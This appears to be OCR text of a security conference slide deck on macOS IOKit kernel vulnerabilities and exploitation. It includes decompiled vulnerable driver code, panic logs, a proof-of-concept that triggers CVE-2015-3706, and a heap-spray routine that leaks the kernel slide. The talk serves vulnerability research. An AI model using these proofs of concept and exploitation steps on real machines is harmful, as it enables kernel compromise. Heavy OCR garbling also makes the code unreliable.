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OS X Kernel Attack Surface

« Syscall/Mach Trap

— In general, strong

- HFS

— Not very common these years.

« IOKit

— Still a lot, our target...

 Etc.



PART 1: IOKIT VULNERABILITIES



|OKit vulnerabllity review - CVE-2013-0981

« Back to the year 2013
« CVE-2013-0981: used by EvadOrs to jailbreak iOS 6
« PC pointer can be specified by the user directly

; int sub_80661B78(int interface)

b |

|

PUSH {R7,LR}

MoV R7, SP

SUB 5P, SP, #8

LDR.W RS, [RO] //RB can be specified by user-mode parameter
MOV R12, R2

LDR R@, [R8,#0x50]

MOV R2, R1

LDR.W R1, [R9,#8x344]

LDR R3, [Re]

LDR.W RS9, [R3,#0x70

MOVS Rgg: .15;9 ’ . PC Control
S5TR R3, [SP,#8x1@+var_18]

S5TR R3, [SP,#8x18+var (]

MOV R3, R12

BLX RS //R9 = *(*R@ + 0x78)

ADD SP, SP, #8

POP {R7,PC}
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|OKit vulnerability review - CVE-2014-1318

 Direct PC control for OS X version
« CVE-2014-1318: discovered by Ian Beer of Google Project Zero
« UserClient IGAccelGLContext selector 0x201

__dinted _ fastcall IGAccelGLContext::unmap user _memory(_ inted al, _ int64d userControlled,  int6d a3)
1

signed int wv3; // erldgl

_ int64 userControlled2; [/ [sp+8h] [bp-28h]@2

vy = 8xEBaea2C2;
if (a3 ==8)
1
userControlled2 = *(_QWORD *)userControlled; //User controlled pointer
IGHashTable<IGAccelMemoryMap *,unsigned int,IGHashTraits<IGAccelMemoryMap *3>>::remove(al + 4264, &userControlled2);
vA = *(_QWORD *)(al + 280);
TOLockLock(*(_QWORD *)(v4 + 136));
I0GraphicsAccelerator?: :lock busy((IOGraphicsAccelerator2 *)vd);
vi = 0;
(*(void (_ fastcall **)(__int64, UNKNOWN *, QWORD))(*( QWORD *)v4 + 2128LL))(v4, &unk_34FD6, OLL);
IntelAccelerator: :waitForEventStamp(*(_QWORD *)(al + 288), al + 312, “unmap_user_memory”, 63LL);
v5 = userControlled?;
(*(void (_ fastcall **)(__int64))(*(_QWORD *)userControlled? + 320LL)) (userControlled?) ;—fiBlulantnal F)(: (:()r]tr()l




|OKit vulnerabillity review — CVE-2015-5774

« In 2015, direct PC control vulnerability is extinct
« Many exploitable heap overflow vulns
« CVE-2015-5774: credit to TaiG team

IOHIDResourcelevicelserClient: :postReportResult pOStReportResu |t Ca I Ied

I0Return| ICHIDRescurceDevicelUserClient: :postﬂepoﬂﬁesﬁﬂ]ma—-nm argumenta) tWice With same descriptor
{

08C0bject * tokenObj = (0S50bject*)argumenta-rscalarInput [kICHIDResourcelserflientResponselndexToken];
if | tockenlk] &&% _pending-rcontainalbject (tockenlbj) ) {
O5Data * data = 05DynamicCast (05Data, tokenlbj);
if | data ) {
__BeportBResult * pResult = (_ BeportResult*)data->getByteaNolCopyi);
R . —
if | pResult-»descriptor && arguments-rstructurelnput ) | / Second Ca”[ OverfIOW!
pResult-*descriptor-»writeBytes (0, arguments—-»structurelnput, argumenta->structurelnputSize);
12978252: If we get =n IOBMD pzssed in, set the length to be the ¥ of bytes that were transferred
IoBufferMemoryDescriptor * buffer = 05DynamicCast (I0BufferMemoryDescriptor, pResult-rdescriptor);

1F s First call, enlarge the descriptor
length without changing buffer

}
pResult-rret = (I0Return)argumenta—-r»scalarlnput [kICHIDERescurcelUserflientResponselndexBesult];

_commandGCate-rcommandWakeup idata) ;

} % and if tokenlbikk pending—rc. .. .'I

return kICOReturnSuccess;

} 7 and postReportResult 7



|OKit vulnerability review — CVE-??7?7-??7?7

Simple IOKit vulnerability extinct ?
— Still exists but hard (exploitability)

__inted  cdecl AGPMClient::setBoost(AGPMClient *this, IOExternalMethodArguments *args)
1

__inté4d v2; f/ rdxpd

_inted v3; // r8@e

__inted v4; // rdifl

__int64d result; // rax@l

CVE-???7?-???7? : Discovered by KeenTeam
and reported to Google Project Zero in May
2015

vl = *((_QWORD *)this + 27);

— Never got fixed till now Tesels, eeseemLLs
result - aLL;
if ( args->scalarQutputCount j
1 . result = OxEBBBB2CILL;
AGPMCIIent SeIeCtor 7312' if ( args-rscalarInputCount != 1 )}
AGPMClient::setBoost result = @xEQO002CILL;

if ( !( _DWORD)result )
result = AGPM::setBoost(wv4, *{ DWORD *)args-»scalarlnput, v2, BxEBG002C2LL, v3);
return result;

scalarlnput[0] is user controlled



|OKit vulnerability review — CVE-??7?7-??7?7

__intbd _ fastcall AGPM::setBoost(_ _int64 al, signed int inputScalar®, _ int64 a3, _ int64 a4, _ int64 ab)
1
vb = al; . .-
if ( *(_BYTE *)(al + 385) & 1 ) inputScalar0 is signed
T0Log(
"AGPM: %s(%u) is called; current fBoostCountdown = %u, ControlID = ¥d\n",
"setBoost”,
(unsigned int)inputScalar®,
*(_DWORD *)(al + 436),
*(_DWORD *)(al + 184));
v/ = BinputScalar®,
thermalAttribute = (_ int64)&inputScalard; .
if ( inputScalar® -:tT:: '} N 222).) Can pass the check if
p

\=r = C S

{ | | inputScalar0< 0
v1@ = *(_DWORD *)(al + 312);
if (w1l )
{

if ( inputScalar® > 3 || (vll = *=(_DWORD *)(al + 8LL * (unsigned int)inputScalar® + 484)) == @ )

OOB read here



|OKit vulnerability review — CVE-??7?7-??7?7

Can still trigger on latest EI Capitan I s
* Not quite exploitable

RIRRIZLE Apple” DUSIR SRR Apple. IEERMER ALK,

> AR

SRR {E R AR AR E

Anonymous UUID: 12A0FFF9-1A1E-95EE-A9D2-0347510C0A1E

Tue Nov 3 11:32:56 2015

*kx Panic Report sk

panic(cpu 4 caller @xffffff8e@fb8edbf): '"vm_page_check_pageable_safe: trying to add page" "from compressor object
(oxffffff80102c05c0) to pageable queue"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3247.1.106/0sfmk/vm/vm_resident.c:7074
Backtrace (CPU 4), Frame : Return Address

Oxffffff811cb6b480 : OxffffffB800fae5357 mach_kernel : _panic + @xe7

Oxffffff811cb6b500 : Oxffffff8O@TbBedbf mach_kernel : _vm_page_check_pageable_safe + @x3f

Oxffffff811cb6b520 : Oxffffff800fb536dd mach_kernel : _vm_fault_enter + @Oxabd

Problem: Not too many such simple
bugs nowadays

Oxffffff81llcb6b6ad :

OxTfffff800Tb5769b

mach_kernel : _vm_page_validate_cs_mapped_chunk + @x227b

Oxffffff8llcb6b8c@d : OxffffffB00fbd65fd mach_kernel : _kernel_trap + @x47d

Oxffffff8llcb6baal : Oxffffff80@Tbf4093 mach_kernel : _return_from_trap + @xe3

Oxffffff8llcb6bace : Oxffffff7f92bdeed4 com.apple.driver.AGPM : __ ZN4AGPM8setBoostE13AGPMBoostCode + 0x114
Oxffffff81llcb6bbed : Oxffffff80100e1657 mach_kernel : _is_io_connect_method + 0xle7

Oxffffff811cb6bd20 : Oxffffff8e@fbad78@ mach_kernel : _iokit_server + 0x5d00

oxffffff8llcb6be30 : OxffffffBo@fae9af3 mach_kernel : _ipc_kobject_server + ©0x103

Oxffffff8llcb6be60 : OxFfffff800facd448 mach_kernel : _ipc_kmsg_send + Oxa8

oxffffff81llcb6bead : Oxffffff80@fadcfc5 mach_kernel : _mach_msg_overwrite_trap + @xc5

Oxffffff811lcb6bf10 : Oxffffff80@fbc135a mach_kernel : _mach_call_munger64 + 0x19a

oxffffff81lcb6bfbo : OxffffffB800fbfa8b6 mach_kernel : _hndl_mach_scall6d + 0x16

Kernel Extensions in backtrace:

com.apple.driver.AGPM(110.20.19) [71771BCA-8875-36A5-AC4F-29E4CE47489A]@0xffffff7f92b4a000—>0xffffff7f92b64fff
dependency: com.apple.iokit.IOPCIFamily(2.9) [668E3DEE-FO8E-3456-92D6-FAFEEA355A72]@@xffffff7f9032d000
dependency: com.apple.driver,IOPlatformPluginFamily(6.0.0d7) [024BE6F4-829C-3403-
B8FC-9C4C00COF924]@axffffff7f911c7000
dependency: com.apple.iokit.IONDRVSupport(2.4.1) [814A7F4B-03EF-384A-B205-9840F0594421]@dxffffff7f906e9000
dependency: com.apple.iokit.IOGraphicsFamily(2.4.1) [48AC8EA9-BD3C-3FDC-908D-09850215AA32]@0xf 790622000
dependency: com.apple.AppleGraphicsDeviceControl(3.11.31) [0582D9D7-B6CE-335F-9E70-CCB4BD29242C] @oxffffff7f906f9000

BSD process name corresponding to current thread: pocAGPMOOBRead
Boot args: keepsyms=1

Mac 0S version:
15A284

Kernel versigas
Darwi Version 15.0.08: Wed Aug 26 16:57:32 PDT 2015; root:xnu-3247.1.106~1/RELEASE_X86_64
nel UUID: ZF-8Bra=3POS=APBEB=ECrTI2000Ce8

slide: 0x0000000001800000

text base: @xffffffgoefa0o00n

__HIB text base: oxffffff800f900000

System model name: MacBookProl®,1 (Mac-C3EC7CD22292981F)

El Capitan 10.11



|OKit vulnerability: Think deeper?

AGPM(Client::externalMethod fully rewrite the implementation

(] IOKit iS a C+ + ba Sed framewo rk r7in‘tﬁtl _ cdecl AGPMClient::externalMethod(AGPMClient *this, unsigned int a2, IOExternalMethodArguments *args)
1
result = 3758097090LL;
- H ISR IEE *)&args->gap_8[0] )
« UserClient usually overrides {

v7 = a2 - 7301;

IOUserClient: :externalMethod and result - (__int64)off 56683

switch ( (_DWORD)v7 )
I

IOUserClient::getTargetAndMethodForIndex i

case 2:

— Some drivers totally rewrite the original oy SR ER B
i m p I e m e n tatio n ‘:ag;ii? = AGPMClient::getMaxPowerState(this, args);
- Others i m plement its OWn COde a nd Ca I | the Eaiisﬁit = AGPMClient::setPowerState(this, args);

break;

parent’s implementation
I0OAccelSurface2::externalMethod calls IOUserClient::externalMethod

int _ fastcall I0AccelSurface2: :externalMethod(I0AccelSurface2 *al, signed _int64 a2, _ int64 a3, _ int64 (_fastcall **ad)(), IOAccelSurface2 *a5)
n

« Problem 1: Does the developer fully understand
what their parent’s implementation is?

« Problem 2: Does the method implementer know
which function call him, what check is performed?

« If not, vulnerabilities are introduced

= *(_DWORD
= *(_DWORD

_ int6d, _ int6d (_ fastcall **)(), IOAccelSurface2 *))(v5 + 0x868))(

(_DWORD
*(_QWORD

Then IOAccelSurface2::set_shape_backing_length_ext s likely to have issue




|OKIit vulnerabllity: CVE-2015-3705

Discovered by KeenTeam and reported to Google Project

Zero in May 2015

By calling IOConnectCallMethod API:
— structurelnput is used if structurelnputSize < 4096
— structurelnputDescriptor is used if otherwise

ClaSiti Al | OEx ternal MethodArguments
{

uint3Z_t veraion;

uint3Z_t aelector;

mach port t aayncWakePort;

ic user reference_ t * asyncReference;
113:32_: aayncBe ferencelount;
const uintéd t * acalarInput;

uint3Z t acalarInputCount;

const woid * atructurelnput;

uint3z t atructurelInputSize;

ItHemoryDescriptor * astructureInputDeacriptor;

uinted t * acalarCutput;

113:32_: acalarDutputCount;

woid * atructurelutput;

uint3Z t atructurelutputiize;
IdMemoryDescriptor * satructurelutputDescriptor;
uint3Z_t atructurefutputDeacriptorSize;
uint3Z_t __reservedh;

050bject ** atructureVariablelutputData;

uint3Z t reaerved[20];



|OKIit vulnerabllity: CVE-2015-3705

IOReturn IOUserClient::externalMethod( uint32_t selector, I0ExternalMethodArguments * args,
I0ExternalMethodDispatch * dispatch, 0SObject * target, void * reference )

I

L

If IOUserClient::externalMethod were not IOReturn  err;

I0Service * object;
ove rr-l d d en I0ByteCount structureQutputSize;
if (dispatch)

{
uint32_t count;

But if IOUserClient::externalMethod it is a R
different story

Dispatch always == NULL

count = dispatch->checkStructurelnputSize;
if ((kIOUCVariableStructureSize != count)
&& (count != ((args-»structurelnputDescriptor)
> args-»structurelnputDescriptor -»getlength() : args-»structurelnputSize)))

IOAccelSurface2::set_shape_backing_length_ext
is not aware of that!

return (kIOReturnBadArgument);

if (dispatch->function)
err = (*dispatch->function)(target, reference, args);
else
err = kIOReturnNoCompletion; /* implementator can dispatch */

return (err);

I/ _nre-leonard APT's don't do ool structs

if (args->structureInputDescriptor || args-»structureQutputDescriptor)
I
. L
structurelnputDescriptor usage not allowed = err = kIOReturnIPCError;

return (err);




|OKIit vulnerabllity: CVE-2015-3705

« IJOAccelSurface2::externalMethod overrides
IOUserClient: :externalMethod

__int64 ve;

— structurelnputSize > 4096 Tincen vawt; 77
— structurelnputDescriptor should be used (00

result = I0AccelSurface2::set shape backing length_ext(

instead of structurelnput
8),
16),
24),

ructurelnput,
ructurelnputSize);

__int6e4 _ fastcall IDA(EElSuFFa(EZ::5etishapeihaEkingﬁlengthiextiIﬂAE(ElSuFFaceZ *this, unsigned int a2,
unsigned int a3, _ int64 a4, int a5, _ inté4 ab, _ intB4 structurelnput, signed _ int64 stru(turelnputsizel

structureInput + 8);

a soeprs; structurelnput value is unexpected

structurelnputSize )

unexpected read

DWORD *)structurelnput + 12;

1

3
if (1via || 1vis )
¥

‘ *(_DWORD *)(structurelnput + 8) = 65537Z; unexpected Write




|OKIit vulnerabllity: CVE-2015-3705

« Exploitable?

— structurelnput value is unexpected
— Valid address value but not controllable



|OKIit vulnerabllity: Think deeper and deeper?

« Does the problem affect only for
externalMethod or
getTargetAndMethodForIndex?

— Of course not!

offset

offset
offset
offset
offset
el2 *,uint)

« Graphics driver is good candidate

— E.g IGAccelGLContext
— Easy to cause issue

offset

e1ContextGetDataBufferOut

dq offset

1Resource?
offset

offset _ 7

offset ::
offset _ |

offset _ |

dq offset _ |

offset _ |

offset

offset ::

offset
offset
offset
offset
offset
offset
offset

v
) 4

offset _ |

offset _ |

offset
offset
offset
offset
offset
offset
offset
offset
offset

Applelntel[HD5000Graphics I0AcceleratorFamily2 I0AcceleratorFamily2

offset ::"

5I0AccelContext218v

1CommandDescriptorb ; IOA
ommandStreamInfo ; I

elCommandStreamInfo ; IGAccelGLConte!
elContext22@postTokenSanityCheckER24I0AccelCommandStreamInfo_1 ; I0A:
elGLContext18processDataBufferskj ; IGAccelGLContext::processDataBuffers(uint)
elG 18beginCommandStreamER24I0AccelCommandStreamInfo 1GLConte
elGLContextlbendCommandStreamER24I0AccelCommandStreamInfo ; LGA
elContext212bindResourceER24I0AccelCommandStreamInfoP16I0AccelResour

processSidebandBuffer(I0AccelCommandDescriptor *,bool
processSidebandToken (I0AccelCommandStreamInfo
discardSidebandToken(IOAccelCommandStreamInfo &
pestTokenSanityCheck (I0AccelCommandStreamInfo

eginCommandStream(I0AccelCommandStreamInfo &)
:endCommandStream({I0AccelCommandStreamInfo &)
celChanne elContext2: :bindResource(I0AccelCommd
elContext214unbindResourceER2410AccelCommandStreamlnfoP16I0AccelResource2P1510AccelChannel? ; IOAccelContext2: :unbindResource(

mpactCurrentVidMemory (void)
nte(t’ pvepare?e;uuv:e)(IOA
p

getDataEuFFehEPZBIO elLontextbetDataBuFFeFInPBBIOAEceannte tGetDataBuFFerOutPZZIOAEcelRe;ourfePrivatey ;
elResourcePrivate *,ulong long)

8allocOneDataBufferEbj ; IOA

I0AccelContext2

1Context2: :allocOneDataBuffer(bool,uint)

EIOALLellnnte<t2280etDataEuFFehPFluateEPlfIOAEcelﬁe,nuF:e7P2210ALLe1Fe;ch(ePhldatey 1 ; IOAccelContext2::getDataBufferPrivate(I0OAccelResourcyd

1idateDataBufferEyP2410BufferMemoryDescriptorP16I0AccelResource2 1 ; IOAccelContext2::validateDataBuffer(ulong

1Resource2 *,uint)

%2PemoveiurrentResourceFPom[hannelEPlEIDAccelResourcer ; IGAccelGLContext: :removeCurrentResourceFromChannel (I0AccelResource
elContext21@invalidateEv_1 ; IOAccelContex inwalidate(void)
elContext217getFrameDelimiter
elG )

<ingStore(void)
set_compatible_surface_mode(ulong long
reSurface(void)
allowsExclusiveMode(void)

_nUdEEPyyj
ccelGLContext

yulong long,uint)

19allowsExclusiveModeE
16isTripleBufferedE

elGLContext: :describeDriverAllocations(I0AccelAllocationInfo *)
ethlunte(t’ﬂaddDPawableTulhannelEPlfIOA==elDFawableZ ; IGAccelGLContext: :addDrawableToChannel(I0AccelDrawable? *)
ﬁhenoweDrawahleFPcmEhannelEPlfIOA lDPawableE ; IGAccelGLContext: : removeDrawableFromChannel (I0AccelDrawable? *)
: :setCompatibleSurfaceMode(ulong long *,ulong long,int)
leepForSwapCompleteNolock (uint)
addVendorSurfaceRequiredBits(ulong long)
1GLContext: :get_temp_allocation info(IOAccelDrawable2 *,uint *
phn:essSwap eDoSwap)
1GLContex
pdateDrawable(

24get7tempiallncaticniinfnEPlGIOA

11processSwapE7eDoSwap ; IOAcce
ompactCurrentResourcesEP16T0AC

14updateDrawableEv ; IG G

mpactCurrentResources (I0AccelResource? *)



|OKIit vulnerabllity: CVE-2015-3706

« Discovered by KeenTeam and reported to Google Project Zero in May 2015
« In IOAccelSurface2::surfaceStart, dword at this+1144 is initialized as Oxffff

char _ fastcall IOAccelSurface2::surfaceStart(I0AccelSurface? *this)
T
L

intf4 vl; // raxgl
ned __inted v2; // r<<wl
__dnted w /i
__dinted wd; // ra<tuL¢l
vs; // rdx@e
un5igned int vé; // erld@ﬁ

signed _ int64 v8
__inted !9, // rdxgé
char v1@; // al@l2

1 = *((_QWORD *)this + 613);
_QWORD *)this + 614) “(_QWORD *)(vl + 856);
BYTE is + 253) =
Jthis + 6 )
_ fastcall ( OWDFD char *)] 1 + 864) + 376LL))(*(_QWORD *)(vl + 8
QWORD, char *)) (*((_QWORD *)this + 613) + 864LL) + 376

64), (char *)this + 4368);
LL))(

(cgér *)this + 1432);

BxFFFF;

Initialized to Oxffff

(_DWORD *)this + 11443 BxFFFF;




|OKIit vulnerabllity: CVE-2015-3706

« In userclient IOAccelSurface2 selector 7, IOAccelSurface2::set_id _mode

IOAccelSurface2::prune_buffer is called

int6d _ fastcall IOAccelSurfac :set_id mode(IOAccelSurface? *this, _ int64 a2, unsigned int a3)

int _ fastcall IOAccelSurface2::prune_buffers(IOAccelSurface2 *this)
{

I0AccelSurface:

LURCCEI5Ur 1l LUpUd LE_Sildpe v

i resent_type(v4);
8;
((_ *Jvd + 1142) 1= OxFFFF && * *Jvd + 4625) & ©
I0AccelDisplayMachine?: :setup_fullscreen(*((I0AccelDisplayMachine2 vd + 614), vd);

goto LABEL_47;

1

I
I0FreeAligned

v16 - (IOAc Y*((_QWORD *)this + 614);
if ( * :

vl7 : :getScanoutResource(vl6, *((_DWORD *) + 1144), @);
else

vl7 = I0AccelDisplayMachine2::
I0AccelSurfacel: :attach_buffer

vd + 1142) + 1858); __inte4 _ fastcall IOAccelDisplayMachine2::getScanoutResource(_ int64 this, unsigned int a2, unsigned int a3)
I
L
return IOAccelDisplayPipe2::getScanoutResource(*(_QWORD *)(this + 8LL * a2 + 136), a3);
1
I

inted _ fastcall IOAccelDisplayPipe2::getScanoutResource(IOAccelDisplayPipe2 *this, unsigned int a2)

return _QWORD *)this + a2 + 39);

The I0AccelDisplayMachine2 + 8*0xffff + 136 is accessed
IOAccelDisplayMachine2 is 0x130 in size!



|OKIit vulnerabllity: CVE-2015-3706

Later in IOAccelSurface2::attach_buffer_at_index, the returned value is used as this pointer and its
vtable entry is called

__inte4 _ fastcall I0AccelSurface2::attach_buffer_at_index(I0AccelSurface? *this, _ int64 a2, IOAccelResource2 *00BAccessed)
I0AccelSurface? *vd4; // rld@l

vl = this;

result = *((_QWORD *)this + (signed int)a2 + 588);

if ( (IOAccelResource? *)result != OOBAccessed )
I

L
if ( result )
I
& \
a2 = (unsigned int)a2;
I0AccelSurface2: :detach_buffer_at_index(this, a2);

1
S
(*(void (__ fastcall **)(I0AccelResource2 *,  int64))(*(_QWORD *)00BAccessed + 32LL))(00BAccessed, a2);

Vtable call
Wait , *((_BYTE *)this + 4565) should be 1 to reach the OOB access

int _ fastcall I0AccelSurface2::prune buffers(IOAccelSurface? *this)
r
L

LABEL_31:

W FTAA - - TM: 7 . Rl

- Rima2 #)*((_QWORD *)this + 614);
if ( *((_BYTE *)v1 + ?

V1S =

luAccelvisplaymacnined: :getScanoutResource(vle, *(( _DWORD *)vl + 1144), 8);



|OKIit vulnerabllity: CVE-2015-3706

Before that, selector 9 should be called to set *((_BYTE *)this + 4565) to 1

__inted _ fastcall I0AccelSurfacel::set_shape_backing length_ext(I0AccelSurface? *this, unsigned int a2, unsigned in
tructureInputSize)

5
i
L

if ( (unsigned int)IOAccelDisplayMachine2::getFramebufferCount(*((I0AccelDisplayMachine2 *#*)this + 614)) <= a3 )
return (unsigned int)vl3;

if ( v22 & ©x40 )
I

- *((_BYTE *)v17 + 4565)

PoC:

int main(int argc, char** argv)
io connect_t conn = open_service("I0Accelerator™);

test(conn, 7 , @xB, BxPEEAAGOOBREAAAT) ;

test(conn, 9, Bxcfff,0x8000000000000000 ) ;
test{conn, 7 , Bx0, OxB0000BOOOBA78614);
return 8;




|OKIit vulnerabllity: CVE-2015-3706

IOAccelDisplayMachine?2 is allocated upon boot, so IOAccelDisplayMachine2 + Oxffff * 8 is hard to
control

But we still have successful rate

|pan1:[ cpu B caller Bxffffff8008deladbe): Kernel trap at @xffffff7f8feeeb?6, pe 13=general protection, registers:
: BxbegeeEEEEEEEEREE, REX: Oxb0000000000000008, RCX: x0000000000000009, RDX: AxAAAAAAAAAAAAAAEE
! Bxffffff811945ba5@8, RBP: @xffffff811945ba5@, RSI: @x0000000000000000, RDI: @x4141414141414141

! BxBoogpesfa0000008, R9: Ox0000000010000008, R10: @xfffif8g284+1108, R1l: bxbBULLUEDEEEBYLLUED
2: BKFFFFFFEBZSZE?leE, R13: BKBBBBBBBBBBi?Eﬂli, R14: Bxffffff88232868008, R15: 8x8008000000000008
! BxBRRRRRRRRRR1R2AG, RIP: Bxffffff/f8feeeb’b, CS5: OxBDDRERRRDRROOLOSE, ! BxPPRRRRRRRRRRRE1E




Part 2: OS X Exploitation Technology



Oh, wait, nothing more...

Anonymous UUID: 8602BRB2-5B78-9CF3-22BF-2C5@573880DC
Thu Oct 22 21:@5:3% 2815

##* Panic Report sk

panicicpu @ caller @xffffffB@Bde3bcce): "A kext releasing aln) I0AccelerationUserClient has corrupted the

registry."@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3247.1. 186/ Libkern/c++/050bject.cpp:28@

Backtrace (CPU @), Frame : Return Address

PxFFfFFfOl3cob3ided : BxFFfFTfTEOBdBe5357 mach_kernel : _panic + Bxe7

PxFFFFFfOl3cob3etd : BxTFFfTTTEBOO8de3bcce mach_kernel : _ ZNKBOSObjectl3taggedReleaseEPKvi + @xOe

BxfFFFFTO13c6b3eBd @ BxFIFFfFf7TBe74FcBT com.apple.ickit.IOHIDFamily :
__ZN29I0HIDResourcelevicelserClientdfreeEv + Bx51

DxfFffFfol3cEbleald : BxFFFFFfEOAde3ch3l mach_kernel : _ ZNTOSArrayl5flushCollectionEv + @xbl
PxfFFFfT913cob3edd : BxFIFFTTEOAde3c976 mach_kernel : _ ZNTOSArraydfresEv + @x16
BxfFfFffol3cob3efd : BxTTFTTTEA@@de5a34c mach_kernel @ _ ANS0SSetdfresEv + Bxlc
BxFFFFFFO1l3cob3ifle : ExTIFfTTTE@8dellcST mach_kernel : _ ZN9I0ServicelSterminateWorkerEj + @xb7yf
BxFFFFFFO1l3cob3foR : BxFFFfTTTEA@del1d@7 mach_kernel : _ ZNSI0ServicelS5terminateThreadEPvi + @x27

BxFFFFFfO1l3cob3fbd : BxFFFFTFEO@d9d14b7 mach_kernel : _call_continuation + @x17
Kernel Extensions in backtrace:
com. apple. iokit. IOHIDFamily(2.8) [353AFBA9-B775-34E3-BFEB-4@DTAD2C500A] @@xTFTfff7TEa715000-
=@xFFFFFF7fBeTBafff
dependency: com.apple.driver.AppleFDEKeyStore(28.38) [DEFD5533-2362-3320-A475-
DFAF2TDAZACF] @@x T 7 fReTRadon

BSD process name corresponding to current thread: kernel_task
Boot args: keepsyms=1 debug=08x1 kdp_match_name=firewire fwkdp=8xBAB@ dart=0 kmem=1

Mac 05 wersion:
154284

Kernel wersion:

Darwin Kernel Version 15.8.8: Wed Aug 26 16:57:32 PDT 2815; reoot:xnu-3247.1.186~1/RELEASE_XBG_564
Kernel UUID: 37BCSB2F-BBF4-3F65-AFBB-ECF792860C68

Kernel slide: Bx@pageanoadaoeane

Kernel text base: BxTfffffeoadiagaee

__HIB text base: BxTfFfffeoad7aeaee

System model name: MacBookAirg,2 (Mac-7DF21CB3EDGATTES)

System uptime in nanoseconds: 459517@5558

last loaded kext at 5315B69156: com.apple.driver.AudicAUUC 1.7@ (addr @xffffff7TETE45080, size 3276R)
loaded kexts:

com.apple.driver.AudiocAUUC 1.7@

com.apple.driver.AGPH 118.28.19

com.apple.driver.ApplePlatformEnabler 2.5.1d@

mEETE , »eFIEEE, We NEED DEBUGINg!!



OS X Debugging

apple provide another method to debug kernel

| | ReadMe.html ®

' [ file:///Library/Developer/KDKs/KDK_10.11_15A284 kdk/ReadMe.html

Firewire Debugging

The default setting for two machine debugging is as follows:

m boot-args="debug=0x146 kdp match name=firewire fwkdp=0x8000

sudo nwvra

Sudao rehootro
Mon-built-in FireWire controllers are specifically excluded from working for both FireWireKDP and FireWireKPrintf. This is intentional. However there is an easy way t

To enable non-built-in interfaces for FireWireKDP, add the "fwkdp=0x8000" boot-arg. For FireWireKPrintf, use "wipt=0x2000"

However, this support comes with a caveat. Once the FireWire controller has been "used" for either FireWireKDP or FireWirekKPrintf, it must not be unplugged or the |
should just leave them connected until you disable the "0xB000" boot-arg and restart.

If you are on a maching without built-in firewire, you can use one of the following:

« Thunderbolt -= Firewire adaptor
« Firewire port on a Apple Thunderbolt display

On the host machine, open a terminal window and type the following:

2.3.4 § IP address does not matter for firewire debugging

worth to try...



OS X Debugging

But FireWire has been abandoned by Apple...

iMac

MacBook Pro Mac Pro



OS X Debugging

So this is my Workstation

hackintosh(host) pcie-1394b card

real osx machine(debug) 1394b line



OS X Debugging

In fact..

Apple Thunderbolt to FireWire Adapter

| / : |



OS X Debugging

What we can do

set breakpoint(int3)
step in/out/over
register read
memory read/write
Disassemble

What we cannot do

set hardware breakpoint(watchpoint)

Sometimes lldb works not very well...

But... much better than nothing!



OS X Kernel mitigations

KASLR
— kslide is assigned upon booting. (Kexts and kernel share the same slide)

DEP
— Disallow kernel RWX

SMEP



Exploitation on Yosemite: CVE-2015-5774

Overflow in IOHIDResourceDeviceUserClient::_postReportResult

zone.256

pointer 2 XXX buffer + Xxx | .

overflow

IOHIDResourceDeviceUserClient



Leaking kslide

RootDmain [RootDmain |RootDmain |RootDmain |RootDmain [RootDmain |RootDmain |RootDmain
UserClient |UserClient |[UserClient |[UserClient |[UserClient |UserClient |[UserClient |UserClient
RootDmain ool RootDmain [RootDmain ool RootDmain |RootDmain ool
UserClient UserClient |UserClient UserClient |UserClient
ool RootDmain ool RootDmain ool
UserClient UserClient
» ¥ R <

buffer




Leaking kslide

printf{"Initialization is owver.%n");
for{int i=0;i=180;i++)alloc_table[i] = open_service("I0OPMrootDomain");
for(int i=08;i<1080;i++)
if(i%3==2){
I0ConnectRelease({alloc_table[i]);

printf("Release the 2rd I0OPMrootDomain in every 3 objects.\n"):
char* vz = calloc(1588,1);
memset(vz,@x41,1508) ;
for(int i=8;i<108@;i++)
if(i%3==2){
send_kern_data{vz, 256-8x58, &port_table[i]);
}

printf("Send kernel data to drop into each hole.wn™);
for{int i=0;i<100;i++)
if(i%3==0){
printf("Release %dyn",i);
I0ConnectRelease{alloc_table[i]);
}
printf("Release the 1lst IOPMrootDomain in every 3 objects.\n");
uint64_t payload[3];
payload[@] = 8xblb2b3b4bSbEbThE;
payload[1] = @xclc2cIcdcSchoTcl;
payload[2] BxalaZaladaSabalal;

printf{"sizeof payload: %lu‘n",sizeof(payload));
kernel_exp(conn_main, conn_second, (I0ODataQueueMemory+)map_addr, (void+)payload,sizeof(payload));
printf("Kernel Zone overflow.\n");

for(int i=8;i<18@;i++)
if(i%3==2){
char* data = read_kern_data(port_table[i]);
printf{"sd : @x%@1llx\n",i,*(uint6d_t=)({256—-8x58+(char*)data)));



Leaking kslide

fwkdp lldb

Mach_msg

RootDomainUserClient



Leaking kslide

struct vm_rmap_copy {

int type;

#define VM_MAP_COPY_ENTRY_LIST 1
#define VM_MAP_COPY_OBJECT e
#define VM_MAP_COPY_KERMEL_BUFFER. 3

vir_ohject_offset_t offset;

wim_size_t size:
union {
struct vm_map_header hdr;, / ENTRY LIST 5/
struct | AT OBJFCT =/
vir_object_t object;
Wim_size_t index: S record progress as pages
* are moved from object to
*page st must be Zero
“when first imvaking
“wr_map_obfect to_page N5t
be_o:
ruct { AT KERNEL_RUFFER =7
vm_offset_t kdata:
wm_size_t kalloc_size: /% size af this copy t %/
ek
be_u



Leaking kslide

[ ] Desktop — bash — 119x43

Release the 1st IOPMrootDomain in every 3 objects.
sizeof payload: 32
outputStructSize is 288.
begin calling 1.
5ize:288B
begin calling 3.
end calling 1.
end calling 3.
Kernel Zone overflow.
2@ 0xe
5 @ OxfTffffBal2c23a7@
8 : oxe

: Bxe

T 0xe

: Bxe

i Bxe

: Bxe

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

: Bxe

i Bxe

: Bxe

: Bxe

: Bxe

: Bxe

: Bxe

: Bxe

: Bx@

: Bxe

HL

: Bxe

HL

: Bxe

HL
98 : Bx@
tests-MacBook-Air:Desktop tests [I




Leaking kslide

db
off FFFFFF8B12C23A78 dq offset  ZH2BRootDomainlUserClientD1Ev

offset  ZHZ?0RootDomainUserClientDBEv

offset  ZHKBOSObject?releaseEi

offset  ZHKB0SObjectiigetRetainCountEv

offset  ZHKB0S0bject6retainEu

offset  ZHKBO0SObject?releaseEv

offset  ZHKBO0SObject?serializeEP11055erialize

offset _ ZHKZ2BRootDomainUserClienti2getMetaClassEv

offset _ ZHK150SMetaClassBase?isEqualToEPKS_

offset _ ZHKBO0SObjecti2taggedRetainEPKu

offset _ ZHKB0SObjecti13taggedReleaseEPKu

offset _ ZHKBOSObjecti13taggedReleaseEPHui

